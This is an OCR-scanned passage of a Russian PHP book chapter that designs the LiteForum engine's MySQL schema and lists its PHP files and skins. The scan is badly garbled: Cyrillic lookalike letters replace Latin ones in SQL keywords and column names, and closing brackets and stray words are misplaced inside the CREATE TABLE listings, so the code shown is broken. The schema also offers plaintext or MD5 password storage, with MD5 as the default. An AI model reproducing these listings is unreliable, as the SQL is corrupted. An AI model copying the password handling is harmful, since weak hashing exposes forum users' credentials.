имя не будет испол ьзо­ ваться остальными участн иками форума. Кроме это го, ему предоставляется
1040 Часть 11. Создание са йта дополнительный сервис: сообщается обо всех новых сообщениях с момеНта его последнего посещения форума; возможность исправить свое сообщен ие до того, как на него ответит другой посетитель; имя зарегистрированного п о­ сетителя будет являться гиперссылкой, позволяющей другим уч астн икам просматривать контактную информацию, которую он по желанию может по­ местить в свой "портрет" . Регистрация нового участника форума будет сводиться к добавлению новой записи в табл ицу li teforum_authors, которая имеет тринадцать полей : О id author - первичный кл юч табл ицы, снабже нный атрибутом AUTO_INCREMENT ; О пате - имя зарегистрированного посетителя (ник); О passw - пароль; О еmа Н - электронный адрес посетителя; О sendmail - поле типа ENUM, принимающее два значения: yes И по. Есл и данное поле принимает значение yes, при появлении на форуме ново й те мы посетителю отправляется уведомление на е-шаi l, указан ный в пре­ дыдущем поле; О url - адрес домашней стран ицы посетителя ил и сайт организации, кото­ рую он представляет; О icq - номер ICQ посетителя; о about - поле, в которое посетитель может поместить несколько сл ов о себе; О photo - поле для хранения фотограф ии посетителя; О time - время последнего посещения посетителем форума, это поле об­ новляется при авторизации и просмотре страниц форума; О last_t ime - время последнего предыдущего посещения, необходи мое для вывода новых сообщений с момента последнего посещения форума участником; О theme s - количество сообщений, оставленных посетителем на форуме: данное поле увеличивается на единицу каждый раз, когда посетител ь ос­ тавляет новое сообщение; О statususer - поле типа ENUM, принимающее одно из трех значений: пус­ тая строка - для обычных посетителей, ' mode rator' - для модератора и ' admin ' для ад министратора форума.
Глава 25. Форум: проекmuрованuе 1041 Первичный ключ id_autho r будет одновременно порядковым номером заре­ гистрированного на форуме посетителя. ЗА МЕЧА НИЕ Необходимо заранее продумать страте ги ю распределения порядковых но­ меров среди участн иков форума. Во избежание нездорового интереса к по­ рядковому номеру 1 иногда полезнее начать нумерацию с 10. Кроме того , можно отследить распределение номеров 13 и 666. Не все поля табл ицы liteforum_authors являются обязательными дл я запол­ нения посетителем при регистрации. К обязательным полям относятся тол ько имя посетителя (name) И его парол ь (passw) . Значения части полей вообще устанавливаются движком форумом автоматически. Последнее поле statusus er, позволяющее задать статус посетителя, может быть изменено тол ько со страницы администрирования форума администратором. SQL-оператор CREATE TAВLE, позволяющий litefo rum_authors, приведен в листинге 25.1 . Л и стин г 25.1 , Созда ние табл ицы liteforum_authors CREATE TAВLE litefo rum_authors ( id_author INT (ll) NOT NULL AUTO_INCREМENT , пате TINYTEXT NOT NULL , passw TINYTEXT NOT NULL , email TINYTEXT NOT NULL , sendmail ENUМ( 'yes ', 'по' ) NOT NULL DEFAULT 'по', url TINYTEXT NOT NULL , icq TINYTEXT NOT NULL , about МEDIUМTEXT NOT NULL , photo TINYTEXT NOT NULL , создать ' time ' DATETlМE NOT NULL DEFAULT '0000-00- 00 00 :00:00', last time DATETlМE NOT NULL DEFAULT '0000-00 -00 00 :00:00', themes INT (lO) NOT NULL DEFAULT 'О', ); statusus er ENUМ ( " , 'mode rator ', 'admin ') NOT NULL DEFAULT " PRIМARY КЕУ (id_author) табл ицу Форум может содержать нескол ько разделов, между которыми посетител и могут переключаться. Добавление НОВЫХ разделов необходимо в том случае,
1042 Часть 11. Создание са йта когда форум сл ишком активен и количество появляющихся за день новы х тем больше, чем их отображается на первой странице форума. В этом случае наиболее часто обсуждаемую тему главного форума целесообразно выне сти в отдел ьный раздел . Каждому разделу соответствует запись в табл ице litefo­ rшn_f оrums , имеющей 6 полей : О id forum - первичный кл юч таблицы, снабженный атрибутом AUTO_INCREMENT; О пате - название раздел а; О rul e - правила форума; О logo - краткое описание проблем, обсуждае мых на форуме; О роз - позиция раздела форума относител ьно других разделов; О hide - поле типа ENUM, кото рое может принимать од но из двух значений: show И hide для доступного и скрытого форума соответственно. Так как в каждом из разделов те матика обсуждаемых проблем разл ична, п ол я rule И logo, определяющие правила поведения участн иков и краткое описа­ ние проблемы, уникальны для каждого раздела, а не едины для всего форума в целом . ЗА МЕЧА НИЕ Параметры, действие которых распростра няется на весь форум, помеща­ ются в таблице settings. SQL-оператор CREATE TAВLE, позволяющий litеfоrшn_f оrums , приведен в листинге 25.2 . ЛИСТИНГ 25. 2. Созда ние табл ицы li.teforum_forums CREATE TAВLE litеfоrшn_fоrums ( ); id_fоrшn INТ (б) NOT NULL AUTO_INCREМENT , пате МEDIUМTEXT NOT NULL , ru le МEDIUМTEXT NOT NULL , logo МEDIUМTEXT NOT NULL , роз INТ (б) NOT NULL DE FAULT 'О', hide ENUМ ( , show ' , 'hide') NOT NULL DEFAULT 'show' , PRIМARY КЕУ (id_fоrшn) создать табл ицу
Глава 25. Форум: проекmирование 1043 Для того чтобы отсл еживать новые сообщения в рамках каждого из раздел ов форума, введем табл ицу litеfоrшn_l аst_t imе с переменной структурой. Для каждого из разделов табл ицы litеfо rшn_fоrшns В табл ице l itеfо rшn_lаst_t imе будет создаваться два стол бца: nowl И last_t ime l, где в место 1 будет подставляться первичный ключ раздела id_fоrшn. В листинге 25 .3 приводится структура таблицы litеfоrшn_lаst_t imе дл я случая , когда форум содержит тол ько один раздел . Листинг 25.3. С оздание та блицы li teforum_last_time CREATE TAВLE litеfо rшn_l аst_timе ( )i id_author INT (ll) NOT NULL AUTO_I NCREМENT , nowl DATE TlМE NOT NULL DE FAULT '0000-00 -00 00 :00:00', last time l DATETlМE NOT NULL DEFAULT '0000-00 -00 00 :00:00', PRlМARY КЕУ (id_autho r) Как уже го ворилось выше, каждый из участников форума может иницииро­ вать обсуждение интересующей его проблемы, добавив в форум новую тему. Каждой теме соответствует одн а запись в табл ице themes, которая состоит из следующих полей : CJ id theme - первичный кл юч табл ицы, снабжен ный атрибутом АОТО_ INCREMENT; CJ пате - название те мы; CJ author - имя посетителя, добавившего сообщение; CJ id_author - уникальный индекс посетителя (см. листи нг 25.1); CJ last_author - имя последнего ответившего в теме пол ьзователя; CJ id_last_author - уникальный индекс последнего ответившего в теме пользователя; CJ hide - поле типа ENUM, которое может принимать одно из трех значен ий: show, hide И lock для доступной, скрытой и закрытой те мы соответствен­ но; CJ time - время последнего обращения к те ме; CJ id_fоrшn - уникальный индекс раздела форума, которому принадлежит тема.
1044 Часть /1. Создание сайта Помимо первичного кл юча id_author табл ица содержит поле для имени по­ сетителя author, добавившего новую те му. Дополн ител ьное поле autho r н е­ обходимо по двум причинам . Во-первых, это позволяет избежать двухтаб­ личного запроса при формировании списка тем (так как каждая те ма должн а сопровождаться информ ацией об ее авторе, кол ичестве сообщений в те ме' и времени последнего обращения к ней). Во-вторых, такая структура позвол яет инициировать новые те мы незарегистрированным посетителям, имена кото­ рых не хранятся в табл ице authors - В этом случае имя автора будет поме­ щено в поле author табл ицы themes, а поле id_author примет значение О , которое будет сигнализировать о то м, что посетитель не зарегистриро ван . В рассмотренных до этого Web-приложениях поле hide могло принимать тол ько одно из двух значений: show И hide. Ресурс, у кото рого поле hide принимало значение show, был доступен для просмотра с саЙта. Есл и пол е hide принимало значение hide - получить доступ к ресурсу можно был о' тол ько со страницы адм инистрирования. В табл ице theme s данные значения интерпретируются то чно так же, но поле hide может иметь третье состо я­ ние - lock. Введение третьего состоя ния связано с те м, что ресурс (в данном случае тема форума) подвергается редактированию (добавление новых со­ общений) не только ад министрато ром сайта, как это было в предыдущих Web-приложениях, но и посетителями форума. Поэтому администратор фо­ рума должен иметь возможность закрыть тему. В закрытой те ме невозможно добавлять новые сообщения, а следовател ьно, и продолжать обсужде ние. Поле time предназначено для хранения времени последнего обращения к те­ ме и обновляется при добавлении в I:Iee нового сообщения. Помимо первичного ключа id_theme табл ица liteforum_t heme s имеет ключ search типа FULLTEXT, обеспечивающий полнотексто вый поиск по названиям тем и именам посетителей, добавивших те мы. SQL-оператор CREATE TAВLE, позволяющий liteforum_theme s, приведен в листи нге 25.4. Листинг 25.4 . Создание табл ицы 11.teforum_therne s CREATE TAВLE litefo rum_themes ( id_theme INT (ll) NOT NULL AUTO_INCREМENT , паше TINYTEXT NOT NULL , author TINYTEXT NOT NULL , id_author INT (ll) NOT NULL DEFAULT ' О ', last author TINYTEXT NOT NULL , создать табл ицу
Гл ава 25. Форум: проекmuрованuе ); id_last_author INT (ll) NOT NULL DEFAULT 'О', hide ENUМ('show' , 'hide' , 'lock' ) NOT NULL DEFAULT 'show' , ' time ' DATETlМE NOT NULL DE FAULT '0000 - 00-00 oo �oo:oo' , id_forum INT (ll) NOT NULL DE FAULT 'О', PRlМARY КЕУ (id_therne ) , FULLTEXT КЕУ search (name, author) 1045 Посетител ь, инициирующий новую тему, помимо названия те мы раз м ещает в ней первое сообщение. Остальные участники форума, которых заинтересо ва­ ла объявленная дискуссия, также могут оставлять свои сообщения, отвечая на первое ил и посл едующие сообщения в те ме. Каждому сообщению соот­ ветствует запись в табл ице liteforum_p osts, имеющей 1 О полей: О id_p ost - первичный ключ табл ицы, снабженный атрибутом AUTO_ INCREMENT; О паше - текстовое сообщение; О ur 1 - ссылка по теме сообщения; О put file - путь к файлу, который посетитель может добавить к сообщению; О author - имя автора сообщения; О id_author - уникальный индекс посетителя (см. листи нг 25.1); О hide - поле типа ENUM, которое может принимать одно из трех знач ений : show, hide И lock для доступ ного, скр ытого и закрытого сообщения соот­ ветственно; О time - время добавления сообщения; О parent_post - первичный ключ сообщения, ответо м на который являет­ ся данное сообщение; О id_theme - уникальный индекс тем ы, к кото рой принадлежит сообще- ние (см . листинг 25.4). Поле hide также может принимать одно из трех значений, однако, в отличие от темы сообщения, установка последнего значения lock приводит к запрету ответа на данное сообщение. Поле time устанавливается один раз - при добавлении сообщения и бол ьше не изменяется даже при последующем редактировании сообщения автором . Поле parent_post необходимо для отслежи вания структуры ответо в. Форум будет поддерживать два режима работы : линейный (с сортировкой сообще­ ний по дате добавления) и структурный (или логический, сообщения в кото-
1046 Часть 11. Создание сайта ром при водятся В лестничной форме в соответств ии с тем, ответом на чье со­ общение является текущий пост) . Последняя форма требует, чтобы в пол е сообщения сохранялась информация о родительском сообщении. ЗА МЕЧА НИЕ Для самого первого сообщения в те ме, которое не является ответом ни н а чье сообщение, поле parent_post принимает значение О. Точно так же, как и в таблице litеfоrшn_thеmе s, В табл ице litеfоrшn_ роsts имеется кл юч search типа FULLTEXT, обеспечивающий пол нотекстовый поиск по телу сообщений и именам посетителей, добавивших сообщения . SQL-оператор CREATE TABLE, позволяющий litеfоrшn_ роsts, приведен в листинге 25.5. Листинг 25.5 . Соэда ние табл ицы liteforumy osts СRБAТЕ TAВLE litеfоrшn-роsts ( id-po st INT (ll) NOT NULL AUTO_INCREМENT , пате ТЕХТ NOT NULL , url TINYTEXT NOT NULL , put file TINYTEXT NOT NULL, autho r TINYTEXT NOT NULL , id_author INТ (б) NOT NULL DEFAULT 'О', создать hide ENUМ( 'show' , 'hide' , 'lock' ) NOT NULL DEFAULT 'show' , 'time ' DATETIМE NOT NULL DEFAULT '0000- 00-00 00 :00:00', parent_post INT (ll) NOT NULL DEFAULT 'О', id_theme INT (ll) NOT NULL DEFAULT 'О', PRIМARY КЕУ (id-post ), FULLTEXT КЕУ search (naтe, author) ); табл ицу Посетители форума зачастую могут вести личную переписку. Удобнее всего реал изовать эту функциональность при помощи скрытых те м, которые не отображаются вместе с остальными темами форума. Для того чтобы эти те мы отображал ись в личном каб инете пол ьзователя, необходима табл ица litеfоrшn_pe rsonally, которая будет устанавливать соответствие между первичным ключом id_author табл ицы пол ьзователей litеfо rшn_аuthо rs И первичным кл ючом адресованной пользователю те мы id theme из таблицы litеfоrшn themes.
Гл ава ;25. Форум: проекmuрованuе 1047 Табл ица будет содержать четы ре поля: О id_person ally - первичный кл юч табл ицы, снабженный атрибутом AUTO_INCREMENT; о id theme вторичный ключ те м!>! дл я связи с табл ицей litefo rum_theme s; о id_f irst - вторичный ключ для связи с табл ицей liteforum authors (первый автор); о id_s econd - вторичный кл юч для связи с табл ицей liteforum autho rs (второй автор). SQL-оператор CREATE TAВLE, позволяющий создать табл ицу li te fo­ rum_personally, приведе н в листи нге 25.6. Листинг 25.6. С оэда ние табл ицы liteforumyersonally CREATE TAВLE liteforum_person ally ( id-pe rsonally INT (ll) NOT NULL AUTO_INCREМENT , id theme INT (ll) NOT NULL DEFAULT 'О', id_first INT (ll) NOT NULL DEFAULT 'О', id_s econd INT (ll) NOT NULL DEFAULT 'О' , PRlМARY КЕУ (id-p ersonally) , КЕУ id theme (id_theme) , КЕУ id_first (id_f irst) , КЕУ id second (id_s econd ) ); Для ленты последних новостей на форуме будем испол ьзовать табл ицу litefo rum_links, которая содержит шесть полей: о id links первичный ключ табл ицы, снабженный атрибуто м AUTO_INCREMENT; О name - название ссылки ; О ur1 -ссылка; О hide - поле типа ENUM, принимающее одно из двух знач ений: show, если ссылка доступна для просмотра, и hide - есл и она скрыта; О pos - позиция ссылки относительно остальных ссылок; О part - поле, определяющее принадл ежность ссылки ленте новостей.
1048 SQL-о перато р CREATE TAВLE, позволяющий litеfоrшn_l inks, приведен в листинге 25 .7 . Листинг 25.7 . Создание табл ицы l�teforum_l inks CREATE TAВLE litefo rum_l inks ( ); id_l inks INT (ll) NOT NULL AUTO_INCREМENT , паше TINYTEXT NOT NULL , url TINYTEXT NOT NULL , hide ENUМ('show' , 'hide' ) NOT NULL DEFAULT 'show' , pos TINYINT (ll) NOT NUtL DEFAULT 'О', part TINYINT (ll) NOT NULL DEFAULT 'О', PRlМARY КЕУ (id_links ) Часть 11. Создание са йта создать табл ицу Для хранения различных гл обал ьных настроек форума используется послед­ няя табл ица liteforum_s ettings, которая имеет следующие поля: D nаmе_fоrшn - название форума; значение это го поля используется в ка­ честве заголовка окна на гл авной странице форума и логотипа во вспомо­ гател ьных окнах (добавления сообщения, регистрации и т. п.); D numbe r_t heme s - количество те м, выводимых на одной стран ице (на страницы с остальными тем ам и выводятся ссылки); D size_ file - максимальный размер файла, прикрепляемого к сообщению (в байтах); D size_p hoto - максимальный размер фотографии посетителя, которую он может загрузить на сервер при регистрации и обновлении своего " порт­ рета" ; D send mа Н - поле типа ENUM, которое может принимать одно из двух знач ений : ye s И по, разрешающее и запрещающее отправку почтового со­ общения с уведомлением на указанный при регистрации почтовый адрес (поле еmаН); D еmаН - почтовый адрес для отправки почтовых сообщений (если их от­ правка разрешена); D show_s truct_switch - поле типа ENUM, принимающее одно из двух зна­ чений: yes И по, разрешая и запрещая , соответственно, вывод переключе­ ния между структурным и линейным способом представления сообще­ ний; по умолчанию испол ьзуется структурный способ представления;
Глава 25. Форум: проекmuрованuе 1049 CI show_fo rum_s witch - поле типа ENUM, принимающее одно из двух значе­ ний: уез И по, разрешая и запрещая, соответствен но, переключение меж­ ду разл ичными разделам и форума; CI he llo - приветственная фраза, которая выводится в верхней части фо­ рум а; по умолчанию Доброго времени суто к; CI cookt ime - срок действия cookie, устанавливаемых на машинах посети­ телей (в сутках) ; CI skin - скин, испол ьзуемый форумом; CI show_p e rson ally - поле типа ENUM, принимающее одно из двух значе­ ний : уез, если на форуме разрешены личные сообщения, и по, если лич­ ные сообщения забл окированы; CI us er_email_requi red - поле типа ENUM, принимающее одно из двух зна­ чений: уе з, есл и при регистраци и необходимо обязател ьно указывать электронный адрес, и по, есл и электронный адрес не обязателен; CI ema il_di stribut ion - поле типа ENUM, принимающее одно из двух зна­ чений: уе з, есл и регистрация вступает в силу тол ько после ее подтвер­ ждения по е-шаil, и по, если это не требуется; CI registration_requi red - поле типа ENUM, принимающее одно из двух значений: уе з, если для размещения сообщений требуется регистрация, и по, если это не требуется ; CI type_c rypt - поле типа ENUM, определяющее тип шифрования пароля пользователя; может принимать следующие значения: PLAIN - без шиф­ рования, MD5 - парол ь необратимо шифруется методом MD5 , PAS SWORD - пароль шифруется MySQL-функцией PAS SWORD (), OLD_PAS SWORD - пароль шифруется MySQL-функцией OLD_PAS SWORD (); CI confirm_ regi stration - поле типа ENUМ, принимающее одно из двух знач ений: уез, если регистрация осуществляется только после подтвер­ ждения по е-шаil уже зарегистрированным пользователем, и по, есл и это не требуется . SQL-о перато р CREATE TAВLE, позволяющий создать табл ицу lite fo- rum_s ettings, приведен в листи нге 25.8. Листинг 25.8 . Созда ние та блицы liteforum_sett�ngs CREATE TAВLE liteforum_s ettings пате forum TINYTEXT NOT NULL ,
1050 Часть 11. Создание са йт а ); number_themes INT (ll) NOT NULL DEFAULT 'О' , size_f i1e INT (ll) NOT NULL DE FAULT 'О', size�hoto INT (10) NOT NULL DEFAULT 'О', send_ma i1 ENUМ('yes ', 'по') NOT NULL DEFAULT 'по', emai1 TINYTEXT NOT NULL , show_s truct_switch ENUМ( 'yes ', 'по' ) NOT NULL DEFAULT 'yes ', show_forum_s witch ENUМ('yes ', 'по' ) NOT NULL DEFAULT 'ye s', he 110 TINYTEXT NOT NULL , cooktime INT (10) NOT NULL DEFAULT 'О', skin TINYTEXT NOT NULL , show_person a11y ENUМ('yes ', 'по' ) NOT NULL DEFAULT 'по', user_emai1_required ENUМ( 'yes ', 'по' ) NOT NULL DEFAULT 'NO' , ema il_distribut ion ENUМ('yes ', 'по' ) NOT NULL DEFAULT 'по' , registration_requi red ENUM( 'yes ', 'по') NOT NULL DE FAULT 'по', type_crypt ENUM ('PLAIN ', 'МО 5', 'PAS SWORD ', 'OLD_PAS SWORD ' ) NOT NULL DEFAULT 'МО5' , confirm_registration ENUМ('ye s', 'по' ) NOT NULL DEFAULT 'по' INSERT INTO liteforum_s ettings VALUE S ('Форум С++ ' , 10, 824288, 824288, 'yes' , 'someone @somebody .ru' , 'по' , 'yes' , 'Здравствуйте , ' , 4, 'base ' , 'по' , 'по' , 'по' , 'по' , 'МО5' , 'по') ; При высокой активн ости на форуме можно снизить нагрузку на основную таблицу (особенно при встав ке или обновлении сообщений, когда требуется перестраивать индекс), предусмотрев перемещение старых сообщений в ар-
Глава 25. Форум: проекmuрованuе 1051 х ивные таблицы. Информацию из этих таблиц посетител и смогут читать, од­ нако не смогут отвечать на эти сообщения. Первая из архивных таблиц litеfоrшn_а rсhivе_Пumb еr будет содержать л ишь одно поле id_theme и одну запись : в табл ице будет храниться первич­ ный кл юч последней темы в архиве. Все тем ы, имеющие меньший номер, будут находиться в архиве, все темы с большим номером - оставаться акту­ альными. В листинге 25 .9 приводится оператор CREATE TAВLE, создающий табл ицу litеfо rшn_а rсhivе_Пumbеr. Листинг 25.9 . Созда ние табл ицы litеfоruш _ аrсhivе nwnber CREATE TAВLE litefo rum_a rchive_numb er ( id_theme INT (ll) NOT NULL DEFAULT 'О' ); INSERT INTO liteforum archive number VALUES (О) ; Для хранения архивных тем предусмотрена табл ица litеfо rшn_а rСhivе_thеmеs, которая будет отл ичаться от табл ицы litеfо rшn_t hеmе s лишь одн им полем number, содержащим количество сооб­ щений в теме (так как архивные те мы закрыты для обсужде ния, кол ичество сообщений в них не будет меняться). В листи нге 25 .1О приводится оператор CREATE TABLE, создающий таблицу litеfо rшn_а rсhivе_t hеmе s. Листинг 25.10. Создание таблицы 1�tеfоruш _ аrс11 ivе _ thеmе s CREATE TAВLE litefo rum_a rchive_themes ( id_theme INT (ll) NOT NULL AUTO_INCREМENT , пате TINYTEXT NOT NULL , ); author TINYTEXT NOT NULL , id_author INT (ll) NOT NULL DE FAULT 'О', last_author TINYTEXT NOT NULL , id_l ast_author INТ (б) NOT NULL DEFAULT 'О', hide ENUМ ( , show ' , 'hide' , , lock') NOT NULL DEFAULT 'SHOW', 'time ' DATET IМE NOT NULL DEFAULT '0000-00 -00 00 :00:00', number INT (ll) NOT NULL DE FAULT 'О', id_forum INT (ll) NOT NULL DEFAULT 'О', PRIМARY КЕУ (id_theme) , КЕУ id forum (id_forum) , FULLTEXT КЕУ search (naтe, author)
1052 Часть 11. Создание сайта Для хранения архивных сообщений предусмотрена rum_a rchive pos ts, которая по структуре аналогична rum_a rchiveyos ts (листинг 25. 11) . Листинг 25.11 . Создание табnицы litеfоrum_а rсhivеуоsts СRБAТЕ TAВLE litefo rum_a rchive_posts ( idyost int (ll) NOT NULL auto_increment , паше text NOT NULL , url tinytext NOT NULL , putfile tinytext NOT NULL , author tinyt ext NOT NULL , id_author iпt (б) NOT NULL default 'О', табл ица табл ице hide enum( 'show' , 'hide', 'lock' ) NOT NULL de fault 'show' , ' time ' datetime NOT NULL default '0000-00 -00 00 :00:00', parent_post int (ll) NOT NULL default 'О', ); id_theme int (ll) NOT NULL de fault 'О', PRlМARY КЕУ (idy ost ), КЕУ id_theme (id_theme) , КЕУ id_theme_2 (id_theme, idyost ), FULLTEXT КЕУ search ('name',author ) 25 .2. П роекти рование структуры litefo­ litefo- LiteForu I1 1 должен обеспеч ивать гибкий подход при работе с форумами и их разделами: D создание нескольких независимых форумов, каждый из кото рых имеет собственную базу данных и отдел ьную директорию; D если существует ограничение по используемым базам данных, создание на базе одного форума нескольких раздел ов с возможностью переключе­ ния между ними при помощи выпадающего списка; D если существует несколько независимых форумов, кажд ый из них может иметь или не иметь дополнител ьных разделов. В состав форума будет входить нескол ько поддиректорий: D dmn /system_l iteforum - В ней расположены файлы системы ад минист­ рирования форума;
Глава 25. Форум: проекmuрованuе LJ fоrшn - содержит файлы представления; LJ skins - содержит "скины" форума (варианты дизайна); 1053 LJ ut ils - хранит общие для форум ов и системы ад министрирования файлы. Кроме перечисленных поддиректорий в поддиректории fоrшn располагаются поддиректории files для прикрепленных файлов и photo для фотограф ий пользователе й. Файлы utils являются общими для всех форумов, кроме того, часть их ис­ пользуется системой администрирования форума. Поддиректория skins предназначена для разделения дизайна и кода фору­ ма - это позволяет вести работы по дизайну и коду форума независимо. ЗА МЕЧА НИЕ Все описываемые в данной кн иге Web-приложения, в том числе и этот фо­ рум , действующие и обслужи вают множество сайтов в русскоязычном Ин­ тернете . Поэто му для всех Web-приложений постоянно выходят новые версии (http://www .soft t ime. ru/i nfo/down loads.php). в которых расширяет­ ся функциональность , производительность и устраняются мелкие ошибки . Потратив усилия на создание собственного варианта дизай на, вам не по­ требуется повто рять эту работу при выходе новой версии форума. Каждая поддиректория директории skins соответствует одному вар ианту дизайна (скину) и содержит пять стилевых табл иц: action . css, fоrшn . css, ma instyles .css, operate .css, read. css; "шапку" страницы di z top . php и подкаталог images с изображениями, используемыми фору мом.
Глдвд 26 Форум : система представления В данной гл аве рассматривается структура системы представления форума, а также описание его основных возможностей. Описываемый проект создавал­ ся и поддерживался в течение пяти лет и является примером те сного взаимо­ действия авторов книги и посетител ей форума http://www.softtime.ru/ fo rum/. Все это время посетители форума вносили множество предложе ний и рабочих модулей, позволяющих улуч шить форум . К сожалению, рассмотреть подробно код всех файлов не представляется возможным, однако их можно найти на ко мпакт-диске, поставляемом вместе с книгой, а также в разделе Dоwп lоаds сайта http://www .softtime.ru/. Код форума содержит подробные ко мментар ии на русском языке, поэто му разобраться в нем не состав ит труда. Есл и вопросы все же возни кнут, их всегда можно обсудить на нашем форуме http ://www .softtime. ru/forum/. ЗА МЕЧА НИЕ Форум IТ-студии SoftTime таюке основан на движке LiteFoгum, поэтому Web-приложение постоя нно снабжается дополнител ьной функциональ­ ностью. 26.1 . Описание файлов форума Блок представл ения форума сосредотач ивается в двух папках : 1:] utils - общие файлы раздел ов форума и системы ад министрирования; 1:] fo rum - движок форума.
Глава 26. Форум: система предст авления 1055 Папка fо гшn , ответственная за представление, содержит следующие файлы: а addper.php - НТМL-форма для добавления личных сообщений; а addpost.php - НТМL -форма для добавления публичных сообщен ий; а аddtl1еше.рl1Р - НТМL-форма для добавления новой тем ы; а arci1 ive.php - страница с архивными темами; а аlltlюгl stth ш.рhр - список последних тем посетителя; а аlltlюгs list.рl1Р - список участн иков форума; а аllthоrtl1 шеs.рhр - список те м, инициированных посетителем; а config.php - конфигурационный файл форума, предназначенный для ус- тановки соединения с базой дан ных; а editpost.pl1p - НТМL-форма для редактирования собственных сообщений; а el1ter.php - НТМL-форма для входа в форум; а ехсерtiОI1_шешЬег.рhр - обработчик исключения ЕхсерtiопМешЬег; а ехсерtiоп_шешьег_dеыl.рhрp - обработчик исключения ЕхсерtiопМеш­ ber в отладочном режиме; а ехсерtiОI1_шуsql.рl1р - обработчик исключения Exceptiol1MySQL; а ехсерtiоп_шуsql_dеЬug.рhр - обработч ик исключения ExceptionMySQL в отладочном режиме; а exception_object.php - обработчик исключения ExceptionObject; а exceptiol1_obj ect_debllg.pI1p - обработчик исключения ExceptionObject в отладо чном режиме; а ex it.php - скрипт для выхода с форума; а index.php - главный файл форума; а index_l ist.pI1p - список разделов форума; а il1dех_tI1ешеs.рI1Р - список тем раздела; а il1fo.pl1p - профиль пользователя; а шаil.рl1Р - скрипт для отправки почтового сообщения пользовател ю; а newslist.pl1p - список последних новостей форума; а опliпе.рhр - список посетителей, находящихся онлайн; а persol1al ly.pl1p - список тем для сервиса личных сообщений;
1056 Часть 11. Создание сайта LJ регsопаllугеаd . р11Р - страница с сообщениями из личных те м; LJ read .p11p - страница с сообщениями из публичных тем ; LJ readal l.pl1p - скрипт, позволяющий отметить все сообщения текущего раздел а как прочитан ные; LJ re gister.php - НТМL-форма для регистраци и; LJ rtlles.pl1p - правила форума; LJ setstrllct .php - скрипт, позволяющий изменить формат вывода сообще­ ний; LJ skin.p11p - скрипт, позволяющий переключить формат вывода сообще­ ний (структурный, линейный с прямой сортировкой, линейный с обрат­ ной сортировкой); LJ srch .php - НТМL-форма для поиска по форуму; LJ lIpdate .pi1p - НТМL-форма дл я обновления личных данных; LJ xm l.xm l - файл с RSS-лентой последних тем . Папк ' а lIti ls содержит файлы, которые используются файлами системы пред­ ставления : LJ alltreg.pi1p - скрипт проверки корректности введе нных имени и пароля участн ика; О botto mforum.p11p - завершение для основных стран иц форума; О Ьоttоmfогшnасtiоп.рl1Р - завершение для вспомогател ьных стран иц фо­ рума; О сtlпепtfОГllm.р11Р - скрипт для вывода названия форума; О fо гшn .js - JаvаSсгiрt-скрипты для управления bbCode-те гам и в формах добавления и редактирования сообщений; О il1c lllde.add_message . pi1p - фрагмент НТМL-формы для добавления со­ общения; LJ iпсludе.аdd_регsопаllу.l1апdlег.рi1р - обработчик НТМL-формы дл я до­ бавления личного сообщения; О iпсltldе.аdd_роst.hапdlег.рi1р - обработчик НТМL-формы дл я добавления сообщения; О iпсltldе.аdd_t11еmе.l1апdlег.рhр - обработчик НТМL-формы дл я добавле­ ния те мы;
Глава 26. Форум: система представления 1057 о include.edit_p ost.handler.pi1p - обработч ик НТМL-формы для редактиро­ вания сообщения; о iпсludе.епtег.lшпdlег.рhр - обработчик НТМL-формы для входа на форум ; О iпсludе.iпfо .рhр - вывод информации о пол ьзователе; О iпсludе.mаil.hапdlег.рI1Р - обработчик НТМL-формы дл я отправки поч­ тового сообщения; о iпсll1dе.геgistег.hапdlег.рhр - обработчик НТМL-формы для регистрации; О iпсludе.геgistег.рhр - фрагмент НТМL-формы для регистрации; О iпсludе.uрdаtе.hапdlег.рhр - обработчик НТМL-формы дл я обновления личных данных пользователя; о iпfоliпks.рhр - скрипт вывода последних новостей форума; О loadfile.php - скрипт загрузки файла на сервер; О mепu.рhр - меню форума; О mеssаgеliпks .рhр - скрипт вывода информационных ссыло к; О пеwроstslist.рhр - вывод количества новых сообщений по форумам; О salutation.php - вывод приветствия; О switchforum.php - НТМL-форма для переключения между раздел ами форума; О switсhskiп.рhр - НТМL-форма для переключения между скинами; О topforum.php - шапка для основных страниц форума; О tорfогumасtiоп .рhр - шапка дл я вспомогательных страниц форума; О utils.arch ive.php - функции для управления архивными темами; О l1tils.files.php - функции для обработки файлов; О utils.pager.php - функция постраничной навигации; О utils.posts.pI1p - функции для управления сообщениями и их форматиро­ вания; о utils.sеttiпgs.рhр - функция для извлечения настроек форума; CJ utils.time.php - функции для управления временем ; О uti ls.users.php - функции для управления пользователями.
1058 Часть 11. Создание сайта 26.2. Описание функциональности форума При обращении к гл авной странице форума выводится список его раздело в и три последних те мы в каждом из них (рис. 26. 1). Рис. 26 .1 . Главная страница форума в верхней части форума расположены управляющие ссылки, позволяющие перейти к другим разделам саЙта. В рассмотренном на рисунке варианте фо­ рума имеется сем ь разделов: "РНР ", "Apache", "Рег. Выражения", "MySQL", "HTML+CSS+JavaScript", "Задачи на РНР" и "Раз ное", переключение между которыми можно осуществлять щелчком по названию (являющемуся гипер­ ссылкой) или через выпадающий список "Выбрать другой форум ". Под каж­ дым из форумов отображается кол ичество новых сообщений, появившихся в нем с момента последнего посещения. Переход к разделу форума приводит к отображению списка тем, отсортиро­ ванных в обратном. хронологическом порядке (рис. 26.2).
Глава 26. Форум: система пр едставления 1059 Рис. 26.2. Список тем форума Список тем реализован в виде НТМL-таблицы, каждая строка которой соот­ ветствует одной теме. В первом столбце отображается кол ичество сообщений в данной теме (в скобках указывается кол ичество новых сообщений). Второй столбец содержит название темы, реализованное в виде гиперссылки, пере­ ход по которой приводит К странице с сообщениями темы. Третий стол бец содержит имя автора темы, а четвертый и пятый - время и автора последне­ го сообщения в теме. Помимо выпадающего списка, позволяющего переходить от одного раздела форума к другому, на каждой из стран иц имеется выпадающий список "Вы­ брать другой skin", который позволяет сменить дизайн форума. По умолча­ нию форум содержит два варианта дизайна: LJ base - светл о-синий дизайн, представленный на рис. 26.2; LJ aggression - черный дизайн, представленный на рис. 26.3 . Переход по ссылке, подсвечивающей название темы, перенаправляет на страницу со списком сообщений по теме (рис. 26.4).
